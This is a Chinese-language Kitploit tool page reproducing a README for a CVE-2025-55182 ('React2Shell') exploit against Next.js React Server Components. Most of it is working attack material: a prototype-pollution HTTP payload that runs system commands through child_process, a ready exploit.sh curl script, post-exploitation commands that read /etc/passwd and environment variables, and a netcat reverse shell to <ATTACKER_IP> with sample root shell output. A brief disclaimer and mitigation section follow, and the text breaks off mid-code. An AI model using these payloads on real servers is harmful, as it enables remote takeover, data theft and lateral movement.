Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-exploit — CVE-2025-55182,又名 React2Shell,是一个影响使用 React Server Components (RSC) 和 Server Actions 的 Next.js 应用程序的严重漏洞。 | Kitploit
工具/GitHubGitHub/yannisduvignau/react2shell-exploit
漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具Payload 开发
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182,又名 React2Shell,是一个影响使用 React Server Components (RSC) 和 Server Actions 的 Next.js 应用程序的严重漏洞。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
215个月前尚未审核

CVE-2025-55182 – React2Shell

Next.js 中的远程代码执行

⚠️ 免责声明:本文档仅用于教育和安全研究目的。未经授权对您不拥有或未获得明确测试许可的系统使用这些技术是非法的。


📋 目录

  1. 概述
  2. 工作原理
  3. 安装与设置
  4. 分步利用
  5. 结果与影响
  6. 缓解策略

概述

CVE-2025-55182,又称 React2Shell,是一个影响使用以下功能的 Next.js 应用程序的严重漏洞:

  • React 服务器组件(RSC)
  • 服务器操作(Server Actions)

为什么危险?

攻击者可以通过以下方式在服务器上实现远程代码执行(RCE):

  1. 对 RSC 负载的不安全反序列化
  2. 通过 __proto__ 和 constructor 进行的原型污染
  3. Next.js 服务器运行时中的动态执行路径

后果:可以以 Node.js 进程的权限执行任意系统命令。


工作原理

阶段 1:Next.js RSC 协议

Next.js 使用专有的 multipart/form-data 协议在客户端和服务器之间进行通信:

  • 客户端向服务器发送 React 服务器组件
  • 服务器对它们进行反序列化并处理
  • 结果返回给客户端
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

阶段 2:弱点——不安全反序列化

漏洞存在的原因:

  1. 反序列化前未对用户可控数据进行验证
  2. 允许访问原型链(__proto__、constructor)
  3. 请求处理过程中某些字段会被动态求值

阶段 3:原型污染攻击

攻击者可以构造一个修改内部对象属性的负载:

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

通过利用 __proto__,攻击者污染 JavaScript 对象的原型,影响所有继承自该原型的对象。

阶段 4:代码注入

在 _prefix 字段中,攻击者注入以下 JavaScript 代码:

  1. 通过 process.mainModule.require() 访问 Node.js 模块
  2. 加载 child_process 模块
  3. 使用 execSync() 执行系统命令
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

阶段 5:结果提取

命令结果隐藏在错误响应中:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js 将此错误返回给客户端,命令输出在 digest 字段中可见。


安装与设置

前置条件

  • Node.js 20
  • Burp Suite(或类似的请求拦截工具)
  • curl 或 Postman(用于发送负载)

步骤 1:克隆并安装易受攻击的服务器

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

步骤 2:启动服务器

npm run dev

服务器现在可通过以下地址访问:

http://localhost:3000

步骤 3:验证服务器正在运行

curl http://localhost:3000/

此时,服务器行为正常。


分步利用

方法 1:使用 Burp Suite(手动拦截)

步骤 1:启用拦截

  1. 打开 Burp Suite
  2. 进入 Proxy → Intercept 标签页
  3. 启用 Intercept is on
  4. 在浏览器中访问 http://localhost:3000/

步骤 2:拦截请求

将拦截到一个 GET 请求。将其发送到 Repeater 标签页:

  1. 右键单击 → Send to Repeater
  2. 进入 Repeater 标签页

步骤 3:替换为恶意负载

将整个请求替换为以下负载:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

步骤 4:发送请求

单击 Send


方法 2:自动化利用脚本

创建文件 exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

使其可执行:

chmod +x exploit.sh
./exploit.sh

示例命令

列出文件和目录

COMMAND="ls -la /"

获取当前用户

COMMAND="whoami"

读取文件

COMMAND="cat /etc/passwd"

检查网络连接

COMMAND="netstat -tuln"

获取环境变量

COMMAND="env"

反向 Shell(完全服务器访问)

要获得完整的交互式 Shell 访问权限,请使用反向 Shell。

在攻击者机器上:监听连接

ncat -lvnp 9009

或使用 netcat:

nc -lvnp 9009

在目标机器上:发送反向 Shell 负载

使用以下命令修改负载(将 <ATTACKER_IP> 替换为您的 IP 地址):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

完整的负载如下:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

预期结果

❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

您现在已在目标服务器上获得了完全交互式 Shell。


结果与影响

服务器响应

成功利用后:

  1. 服务器响应 HTTP 500 内部服务器错误
  2. 响应正文包含所执行系统命令的输出
  3. 输出嵌入在错误响应中的 digest 字段内

示例响应

Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

潜在影响

  • 🔥 完全远程代码执行(RCE)
  • 📂 完全文件系统访问
  • 🔐 凭证和机密窃取
  • 🚨 内网横向移动
  • 💥 服务器完全沦陷
  • 🔗 供应链攻击(如果被用于攻陷已部署的应用程序)
  • 📊 数据泄露和篡改

缓解策略

针对系统管理员

1. 立即更新 Next.js

npm install next@latest

确保您运行的是已修补的 Next.js 版本。请查看官方安全公告。

2. 严格的 RSC 负载验证

对传入的 RSC 负载添加严格验证:

// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
下载工具